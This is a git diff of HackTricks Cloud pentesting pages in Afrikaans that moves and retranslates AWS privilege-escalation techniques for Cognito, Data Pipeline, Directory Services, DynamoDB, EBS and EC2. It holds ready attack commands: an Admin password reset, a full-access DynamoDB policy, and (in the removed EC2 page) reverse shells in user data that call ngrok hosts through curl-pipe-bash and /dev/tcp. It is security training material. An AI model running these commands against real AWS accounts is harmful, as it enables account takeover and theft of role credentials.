+Dit is 'n baie algemene toestemming standaard in rolle van Cognito Identity Pools. Selfs al lyk 'n wildcard in 'n permission altyd sleg (veral as dit van AWS kom), die **gegewe permissions is nie besonder nuttig vanuit 'n attackers perspektief nie**.
+
+Hierdie toestemming laat toe om gebruikersinligting van Identity Pools en Identity IDs binne Identity Pools te lees (wat nie sensitiewe inligting is nie).\
+Identity IDs mag [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) aan hulle toegewys hê, wat inligting oor sessies is (AWS definieer dit soos 'n **saved game**). Dit is moontlik dat dit sekere sensitiewe inligting bevat (maar die waarskynlikheid is redelik laag). Jy kan in die [**enumeration page**](../../aws-services/aws-cognito-enum/index.html) vind hoe om tot hierdie inligting toegang te kry.
+
+An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. Ek het nog nie gesien dat dit gebruik word nie, en ek sou hier nie sensitiewe inligting verwag nie, maar dit is nie onmoontlik nie.
+
+### Automatic Tools
+
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, sluit nou die "cognito__enum" en "cognito__attack" modules in wat die enumerasie van alle Cognito assets in 'n account outomatiseer en swak konfigurasies, user attributes wat vir access control gebruik word, ens. aan dui, en ook gebruikerskreatie outomatiseer (insluitend MFA-ondersteuning) en privilege escalation gebaseer op modifiseerbare custom attributes, usable identity pool credentials, assumable roles in id tokens, ens.
+
+Vir 'n beskrywing van die modules se funksies sien deel 2 van die [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Vir installasie-instruksies sien die hoof [Pacu](https://github.com/RhinoSecurityLabs/pacu) bladsy.
+
+#### Gebruik
+
+Voorbeeld van cognito__attack gebruik om gebruikerskreatie te probeer en alle privesc-vektore teen 'n gegewe identity pool en user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Voorbeeldgebruik van cognito\_\_enum om alle user pools, user pool clients, identity pools, users, ens. sigbaar in die huidige AWS-rekening te versamel:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is 'n CLI tool in python wat verskeie aanvalle op Cognito implementeer, insluitend 'n privesc-eskalasie.
+
+#### Installasie
+```bash
+$ pip install cognito-scanner
+```
+#### Gebruik
+```bash
+$ cognito-scanner --help
+```
+Vir meer inligting, sien [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
similarity index 51%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
index 928fd062f..ce2e1e582 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md
@@ -1,22 +1,22 @@
 # AWS - Datapipeline Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## datapipeline
 
-Vir meer inligting oor datapipeline, kyk:
+Vir meer inligting oor datapipeline, sien:
 
 {{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
 {{#endref}}
 
 ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
 
-Gebruikers met hierdie **toestemmings kan voorregte opgradeer deur 'n Data Pipeline te skep** om arbitrêre opdragte uit te voer met die **toestemmings van die toegewyde rol:**
+Gebruikers met hierdie **permissies kan bevoegdhede eskaleer deur 'n Data Pipeline te skep** om arbitrêre opdragte uit te voer met behulp van die **permissies van die toegewysde rol:**
 ```bash
 aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
 ```
-Na die skep van die pyplyn, werk die aanvaller die definisie op om spesifieke aksies of hulpbron skeppings te bepaal:
+Na die skep van die pipeline werk die aanvaller die definisie daarvan by om spesifieke aksies of die skepping van hulpbronne te bepaal:
 ```json
 {
 "objects": [
@@ -50,19 +50,19 @@ Na die skep van die pyplyn, werk die aanvaller die definisie op om spesifieke ak
 }
 ```
 > [!NOTE]
-> Let daarop dat die **rol** in **lyn 14, 15 en 27** 'n rol moet wees wat **assumable deur datapipeline.amazonaws.com** is en die rol in **lyn 28** moet 'n **rol wees wat assumable deur ec2.amazonaws.com met 'n EC2 profiel instansie**.
+> Let wel dat die **role** in **reël 14, 15 en 27** 'n role moet wees **assumable by datapipeline.amazonaws.com** en die role in **reël 28** 'n **role assumable by ec2.amazonaws.com with a EC2 profile instance** moet wees.
 >
-> Boonop sal die EC2 instansie slegs toegang hê tot die rol wat assumable deur die EC2 instansie is (so jy kan net daardie een steel).
+> Boonop sal die EC2 instance slegs toegang hê tot die role assumable by the EC2 instance (dus kan jy slegs daardie een steel).
 ```bash
 aws datapipeline put-pipeline-definition --pipeline-id  \
 --pipeline-definition file:///pipeline/definition.json
 ```
-Die **pypelyn definisie lêer, geskep deur die aanvaller, sluit opdragte in om opdragte uit te voer** of hulpbronne te skep via die AWS API, wat die Data Pipeline se rol toestemmings benut om moontlik addisionele voorregte te verkry.
+Die **pipeline-definisielêer, deur die aanvaller opgestel, bevat instruksies om opdragte uit te voer** of hulpbronne te skep via die AWS API, en maak gebruik van Data Pipeline se rolpermissies om moontlik addisionele voorregte te bekom.
 
-**Potensiële Impak:** Direkte privesc na die ec2 diensrol gespesifiseer.
+**Potensiële impak:** Direkte privesc na die gespesifiseerde ec2 service role.
 
 ## Verwysings
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 4d3cb13c1..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Directory Services Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Directory Services
-
-Vir meer inligting oor directory services, kyk:
-
-{{#ref}}
-../aws-services/aws-directory-services-workdocs-enum.md
-{{#endref}}
-
-### `ds:ResetUserPassword`
-
-Hierdie toestemming laat toe om die **wagwoord** van enige **bestaande** gebruiker in die Active Directory te **verander**.\
-Standaard is die enigste bestaande gebruiker **Admin**.
-```
-aws ds reset-user-password --directory-id  --user-name Admin --new-password Newpassword123.
-```
-### AWS Bestuurskonsol
-
-Dit is moontlik om 'n **toepassingstoegang URL** in te skakel wat gebruikers van AD kan gebruik om aan te meld:
-
-
- -En dan **hulle 'n AWS IAM rol te gee** vir wanneer hulle aanmeld, op hierdie manier sal 'n AD gebruiker/groep toegang hê tot die AWS bestuurskonsol: - -
- -Daar is blykbaar geen manier om die toepassingstoegang URL, die AWS Bestuurskonsol en toestemming te aktiveer nie. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md new file mode 100644 index 000000000..209cd1337 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md @@ -0,0 +1,32 @@ +# AWS - Directory Services Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Directory Services + +Vir meer inligting oor directory services sien: + +{{#ref}} +../../aws-services/aws-directory-services-workdocs-enum.md +{{#endref}} + +### `ds:ResetUserPassword` + +Hierdie toestemming laat toe om die **wagwoord** van enige **bestaande** gebruiker in die Active Directory te **verander**.\ +Per verstek is die enigste bestaande gebruiker **Admin**. +``` +aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. +``` +### AWS Management Console + +Dit is moontlik om 'n **application access URL** te aktiveer wat gebruikers van AD kan gebruik om aan te meld: + +
+ +En dan **grant them an AWS IAM role** sodat wanneer hulle aanmeld, 'n AD gebruiker/groep toegang tot die AWS Management Console sal hê: + +
+ +Daar blyk geen manier te wees om die application access URL en die AWS Management Console te aktiveer en toestemming te verleen nie + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md deleted file mode 100644 index 5859e9076..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ /dev/null @@ -1,72 +0,0 @@ -# AWS - DynamoDB Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## dynamodb - -Vir meer inligting oor dynamodb, kyk: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -### `dynamodb:PutResourcePolicy`, en opsioneel `dynamodb:GetResourcePolicy` - -Sedert Maart 2024 bied AWS *hulpbron-gebaseerde beleide* vir DynamoDB aan ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). - -As jy dus die `dynamodb:PutResourcePolicy` vir 'n tabel het, kan jy jouself of enige ander prinsiep volle toegang tot die tabel gee. - -Die toekenning van die `dynamodb:PutResourcePolicy` aan 'n lukrake prinsiep gebeur dikwels per ongeluk, as die admins dink dat die toekenning van `dynamodb:Put*` slegs die prinsiep sou toelaat om items in die databasis te plaas - of as hulle daardie toestemmingset voor Maart 2024 toegeken het... - -Ideaal gesproke het jy ook `dynamodb:GetResourcePolicy`, sodat jy nie ander potensieel noodsaaklike toestemmings oorskryf nie, maar slegs die bygevoegde toestemmings wat jy nodig het: -```bash -# get the current resource based policy (if it exists) and save it to a file -aws dynamodb get-resource-policy \ ---resource-arn \ ---query 'Policy' \ ---output text > policy.json -``` -As jy nie die huidige beleid kan verkry nie, gebruik net hierdie een wat volle toegang tot die tabel aan jou prinsiep verleen: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "FullAccessToDynamoDBTable", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::/" -}, -"Action": [ -"dynamodb:*" -], -"Resource": [ -"arn:aws:dynamodb:::table/" -] -} -] -} -``` -As jy dit wil aanpas, hier is 'n lys van alle moontlike DynamoDB aksies: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). En hier is 'n lys van alle aksies wat toegelaat kan word via 'n hulpbron-gebaseerde beleid *EN watter van hierdie gebruik kan word oor rekeninge (dink data uitvloeiing!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) - -Nou, met die beleidsdokument `policy.json` gereed, plaas die hulpbronbeleid: -```bash -# put the new policy using the prepared policy file -# dynamodb does weirdly not allow a direct file upload -aws dynamodb put-resource-policy \ ---resource-arn \ ---policy "$(cat policy.json)" -``` -Nou behoort jy die regte toestemmings te hê wat jy nodig gehad het. - -### Post Exploitation - -Soos ek weet, is daar **geen ander direkte manier om regte in AWS te verhoog net deur 'n paar AWS `dynamodb` toestemmings te hê**. Jy kan **sensitiewe** inligting uit die tabelle lees (wat AWS geloofsbriewe kan bevat) en **inligting op die tabelle skryf** (wat ander kwesbaarhede kan aktiveer, soos lambda kode-inspuitings...) maar al hierdie opsies word reeds oorweeg in die **DynamoDB Post Exploitation bladsy**: - -{{#ref}} -../aws-post-exploitation/aws-dynamodb-post-exploitation.md -{{#endref}} - -### TODO: Lees data deur data Streams te misbruik - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md new file mode 100644 index 000000000..46cae7e9e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md @@ -0,0 +1,72 @@ +# AWS - DynamoDB Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## dynamodb + +Vir meer inligting oor dynamodb, kyk: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy` + +Sedert Maart 2024 bied AWS *hulpbron-gebaseerde beleide* vir DynamoDB aan ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +As jy dus die `dynamodb:PutResourcePolicy` vir 'n tabel het, kan jy net vir jouself of enige ander principal volledige toegang tot die tabel gee. + +Om die `dynamodb:PutResourcePolicy` aan 'n ewekansige principal toe te ken gebeur dikwels per ongeluk, as die admins dink dat die toekenning van `dynamodb:Put*` slegs die principal sal toelaat om items in die databasis te sit — of as hulle daardie permissionset voor Maart 2024 toegeken het... + +Ideaal gesproke het jy ook `dynamodb:GetResourcePolicy`, sodat jy nie ander moontlik noodsaaklike permissies oorskryf nie, maar slegs die bygevoegde permissies wat jy benodig invoeg: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +As jy nie die huidige beleid kan kry nie, gebruik net hierdie een wat volle toegang tot die tabel aan jou principal verleen: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +As jy dit moet aanpas, hier is 'n lys van alle moontlike DynamoDB-aksies: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). En hier is 'n lys van alle aksies wat via 'n resource based policy toegelaat kan word *EN watter van hierdie vir cross-account gebruik kan word (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Nou, met die beleidsdokument `policy.json` gereed, plaas die resource policy: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Nou behoort jy die permissions te hê wat jy nodig gehad het. + +### Post Exploitation + +Sover ek weet is daar **geen ander direkte manier om escalate privileges in AWS net deur sommige AWS `dynamodb` permissions te hê**. Jy kan **read sensitive** inligting van die tables (wat AWS credentials kan bevat) en **write information on the tables** (wat ander kwesbaarhede kan aktiveer, soos lambda code injections...), maar al hierdie opsies word reeds bespreek op die **DynamoDB Post Exploitation page**: + +{{#ref}} +../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +{{#endref}} + +### TODO: Lees data deur data Streams te misbruik + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md deleted file mode 100644 index 0e79e1add..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - EBS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EBS - -### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` - -'n Aanvaller met hierdie sal potensieel in staat wees om **volumesnapshots plaaslik af te laai en te analiseer** en sensitiewe inligting daarin te soek (soos geheime of bronkode). Vind uit hoe om dit te doen in: - -{{#ref}} -../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md -{{#endref}} - -Ander toestemmings kan ook nuttig wees soos: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` - -Die hulpmiddel [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) voer hierdie aanval uit om **wachtwoorde van 'n domeinbeheerder te onttrek**. - -**Potensiële Impak:** Indirekte privesc deur sensitiewe inligting in die snapshot te lokaliseer (jy kan selfs Active Directory-wachtwoorde kry). - -### **`ec2:CreateSnapshot`** - -Enige AWS-gebruiker wat die **`EC2:CreateSnapshot`** toestemming besit, kan die hashes van alle domein gebruikers steel deur 'n **snapshot van die Domeinbeheerder** te skep, dit aan 'n instansie wat hulle beheer te monteer en die **NTDS.dit en SYSTEM** registerhive-lêer te eksporteer vir gebruik met Impacket se secretsdump projek. - -Jy kan hierdie hulpmiddel gebruik om die aanval te outomatiseer: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) of jy kan een van die vorige tegnieke gebruik nadat jy 'n snapshot geskep het. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md new file mode 100644 index 000000000..717477731 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md @@ -0,0 +1,27 @@ +# AWS - EBS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## EBS + +### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` + +'n Aanvaller met daardie regte kan moontlik **volumes snapshots plaaslik aflaai en ontleed** en soek na sensitiewe inligting daarin (soos secrets of bronkode). Vind hoe om dit te doen in: + +{{#ref}} +../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +{{#endref}} + +Ander toestemmings kan ook nuttig wees soos: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` + +Die hulpmiddel [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) voer hierdie aanval uit om **wagwoorde van 'n Domain Controller te onttrek**. + +**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die snapshot te lokaliseer (jy kan selfs Active Directory wagwoorde kry). + +### **`ec2:CreateSnapshot`** + +Enige AWS-gebruiker met die **`EC2:CreateSnapshot`** toestemming kan die hashes van alle domain-gebruikers steel deur 'n **snapshot van die Domain Controller** te skep, dit aan 'n instance wat hulle beheer te monteer en die **NTDS.dit en SYSTEM** registry hive-lêer te eksporteer vir gebruik met Impacket se secretsdump-projek. + +Jy kan hierdie hulpmiddel gebruik om die aanval te outomatiseer: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) of jy kan een van die vorige tegnieke gebruik nadat jy 'n snapshot geskep het. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md deleted file mode 100644 index be55beb02..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ /dev/null @@ -1,261 +0,0 @@ -# AWS - EC2 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## EC2 - -Vir meer **inligting oor EC2** kyk: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -'n Aanvaller kan **'n instansie skep wat 'n IAM rol aanheg en dan toegang tot die instansie verkry** om die IAM rol geloofsbriewe van die metadata eindpunt te steel. - -- **Toegang via SSH** - -Voer 'n nuwe instansie uit met 'n **geskepte** **ssh sleutel** (`--key-name`) en ssh dan daarin (as jy 'n nuwe een wil skep, mag jy die toestemming `ec2:CreateKeyPair` nodig hê). -```bash -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= --key-name \ ---security-group-ids -``` -- **Toegang via rev shell in gebruikersdata** - -Jy kan 'n nuwe instansie gebruik maak van 'n **gebruikersdata** (`--user-data`) wat vir jou 'n **rev shell** sal stuur. Jy hoef nie 'n sekuriteitsgroep op hierdie manier te spesifiseer nie. -```bash -echo '#!/bin/bash -curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh - -aws ec2 run-instances --image-id --instance-type t2.micro \ ---iam-instance-profile Name= \ ---count 1 \ ---user-data "file:///tmp/rev.sh" -``` -Wees versigtig met GuardDuty as jy die akrediteerings van die IAM-rol buite die instansie gebruik: - -{{#ref}} -../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md -{{#endref}} - -**Potensiële Impak:** Direkte privesc na enige EC2-rol wat aan bestaande instansieprofiele geheg is. - -#### Privesc na ECS - -Met hierdie stel toestemmings kan jy ook **'n EC2-instansie skep en dit binne 'n ECS-kluster registreer**. Op hierdie manier sal ECS **dienste** **uitgevoer** word in die **EC2-instansie** waartoe jy toegang het en dan kan jy daardie dienste (docker houers) penetreer en **hulle ECS-rolle wat geheg is** steel. -```bash -aws ec2 run-instances \ ---image-id ami-07fde2ae86109a2af \ ---instance-type t2.micro \ ---iam-instance-profile \ ---count 1 --key-name pwned \ ---user-data "file:///tmp/asd.sh" - -# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) -# The EC2 instance profile needs basic ECS access -# The content of the user data is: -#!/bin/bash -echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; -``` -Om te leer hoe om **ECS-dienste te dwing** om in hierdie nuwe EC2-instantie te loop, kyk: - -{{#ref}} -aws-ecs-privesc.md -{{#endref}} - -As jy **nie 'n nuwe instansie kan skep nie** maar die toestemming `ecs:RegisterContainerInstance` het, kan jy dalk die instansie binne die kluster registreer en die kommentaar-aanval uitvoer. - -**Potensiële Impak:** Direkte privesc na ECS-rolle wat aan take geheg is. - -### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** - -Soos in die vorige scenario, kan 'n aanvaller met hierdie toestemmings **die IAM-rol van 'n gecompromitteerde instansie verander** sodat hy nuwe geloofsbriewe kan steel.\ -Aangesien 'n instansieprofiel slegs 1 rol kan hê, as die instansieprofiel **reeds 'n rol het** (gewone geval), sal jy ook **`iam:RemoveRoleFromInstanceProfile`** benodig. -```bash -# Removing role from instance profile -aws iam remove-role-from-instance-profile --instance-profile-name --role-name - -# Add role to instance profile -aws iam add-role-to-instance-profile --instance-profile-name --role-name -``` -As die **instansprofiel 'n rol het** en die aanvaller **dit nie kan verwyder nie**, is daar 'n ander omweg. Hy kan **'n instansprofiel sonder 'n rol vind** of **'n nuwe een skep** (`iam:CreateInstanceProfile`), **die rol** aan daardie **instansprofiel** **byvoeg** (soos voorheen bespreek), en **die instansprofiel** wat gecompromitteer is, aan 'n gecompromitteerde i**nstans assosieer:** - -- As die instans **nie enige instans** profiele het nie (`ec2:AssociateIamInstanceProfile`) -```bash -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -**Potensiële Impak:** Direkte privesc na 'n ander EC2-rol (jy moet 'n AWS EC2-instantie gekompromitteer het en 'n paar ekstra toestemmings of spesifieke instansieprofielstatus hê). - -### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) - -Met hierdie toestemmings is dit moontlik om die instansieprofiel wat aan 'n instansie gekoppel is, te verander, so as die aanval reeds toegang tot 'n instansie gehad het, sal hy in staat wees om akrediteer te steel vir meer instansieprofielrolle deur die een wat daarmee gekoppel is, te verander. - -- As dit **'n instansieprofiel het**, kan jy die instansieprofiel **verwyder** (`ec2:DisassociateIamInstanceProfile`) en dit **koppel**. -```bash -aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da -aws ec2 disassociate-iam-instance-profile --association-id -aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id -``` -- of **vervang** die **instansprofiel** van die gecompromitteerde instansie (`ec2:ReplaceIamInstanceProfileAssociation`). -```bash -aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id -``` -**Potensiële Impak:** Direkte privesc na 'n ander EC2-rol (jy moet 'n AWS EC2-instantie gekompromitteer het en 'n paar ekstra toestemmings of spesifieke instansieprofielstatus hê). - -### `ec2:RequestSpotInstances`,`iam:PassRole` - -'n Aanvaller met die toestemmings **`ec2:RequestSpotInstances`en`iam:PassRole`** kan **aansoek doen** om 'n **Spot Instance** met 'n **EC2-rol aangeheg** en 'n **rev shell** in die **gebruikersdata**.\ -Sodra die instansie gedraai is, kan hy die **IAM-rol** **steel**. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 request-spot-instances \ ---instance-count 1 \ ---launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" -``` -### `ec2:ModifyInstanceAttribute` - -'n Aanvaller met die **`ec2:ModifyInstanceAttribute`** kan die instansies se eienskappe verander. Onder hulle kan hy **die gebruikersdata verander**, wat impliseer dat hy die instansie kan **arbitraire data laat loop.** Dit kan gebruik word om 'n **rev shell na die EC2 instansie** te kry. - -Let daarop dat die eienskappe slegs **gewysig kan word terwyl die instansie gestop is**, so die **toestemmings** **`ec2:StopInstances`** en **`ec2:StartInstances`**. -```bash -TEXT='Content-Type: multipart/mixed; boundary="//" -MIME-Version: 1.0 - ---// -Content-Type: text/cloud-config; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="cloud-config.txt" - -#cloud-config -cloud_final_modules: -- [scripts-user, always] - ---// -Content-Type: text/x-shellscript; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit -Content-Disposition: attachment; filename="userdata.txt" - -#!/bin/bash -bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1 ---//' -TEXT_PATH="/tmp/text.b64.txt" - -printf $TEXT | base64 > "$TEXT_PATH" - -aws ec2 stop-instances --instance-ids $INSTANCE_ID - -aws ec2 modify-instance-attribute \ ---instance-id="$INSTANCE_ID" \ ---attribute userData \ ---value file://$TEXT_PATH - -aws ec2 start-instances --instance-ids $INSTANCE_ID -``` -**Potensiële Impak:** Direkte privesc na enige EC2 IAM Rol wat aan 'n geskepte instansie geheg is. - -### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` - -'n Aanvaller met die regte **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`en `ec2:ModifyLaunchTemplate`** kan 'n **nuwe Launch Template weergawe** met 'n **rev shell in** die **gebruikersdata** en **enige EC2 IAM Rol daarop** skep, die standaard weergawe verander, en **enige Autoscaler groep** **wat** daardie **Launch Template** gebruik wat **gekonfigureer** is om die **nuutste** of die **standaard weergawe** te gebruik, sal die **instansies** weer **herbegin** met behulp van daardie template en die rev shell uitvoer. -```bash -REV=$(printf '#!/bin/bash -curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash -' | base64) - -aws ec2 create-launch-template-version \ ---launch-template-name bad_template \ ---launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}" - -aws ec2 modify-launch-template \ ---launch-template-name bad_template \ ---default-version 2 -``` -**Potensiële Impak:** Direkte privesc na 'n ander EC2-rol. - -### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` - -'n Aanvaller met die regte **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kan **'n Launch Configuration skep** met 'n **IAM Rol** en 'n **rev shell** binne die **gebruikersdata**, dan **'n autoscaling groep skep** vanaf daardie konfigurasie en wag vir die rev shell om die **IAM Rol** te **steel**. -```bash -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ ---launch-configuration-name bad_config \ ---image-id ami-0c1bc246476a5572b \ ---instance-type t3.micro \ ---iam-instance-profile EC2-CloudWatch-Agent-Role \ ---user-data "$REV" - -aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ---auto-scaling-group-name bad_auto \ ---min-size 1 --max-size 1 \ ---launch-configuration-name bad_config \ ---desired-capacity 1 \ ---vpc-zone-identifier "subnet-e282f9b8" -``` -**Potensiële Impak:** Direkte privesc na 'n ander EC2-rol. - -### `!autoscaling` - -Die stel van toestemmings **`ec2:CreateLaunchTemplate`** en **`autoscaling:CreateAutoScalingGroup`** **is nie genoeg om** voorregte te verhoog **na 'n IAM-rol 